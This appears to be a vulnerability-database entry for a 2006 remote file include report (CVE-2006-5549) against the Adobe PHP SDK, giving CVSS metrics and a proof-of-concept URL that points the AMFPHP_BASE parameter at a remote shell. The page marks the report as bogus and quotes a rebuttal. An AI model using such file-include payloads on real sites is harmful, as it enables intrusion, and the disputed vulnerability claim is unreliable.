adobe php sdk Remote File Include Vulnerabilities

WARNING! Fake news / Disputed / BOGUS

adobe php sdk Remote File Include Vulnerabilities

2006.10.30

Credit: Crackers_Child

Risk: High

Local: No

Remote: Yes

CVE: CVE-2006-5549

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

>
> www.site.com/adobe_php_sdk_path/libraries/amfphp/amf-core/custom/CachedG
ateway.php?AMFPHP_BASE=sh3ll?_
>
>
>
>
All of these reports are bogus (Smarty 2.6.1, CSLH2), as the original
poster obviously does not understand how constants work.
As taken from the PHP manual:
"Constants may only be defined using the *define()*
<http://us3.php.net/manual/en/function.define.php> function, not by
simple assignment;"

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

adobe php sdk Remote File Include Vulnerabilities

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.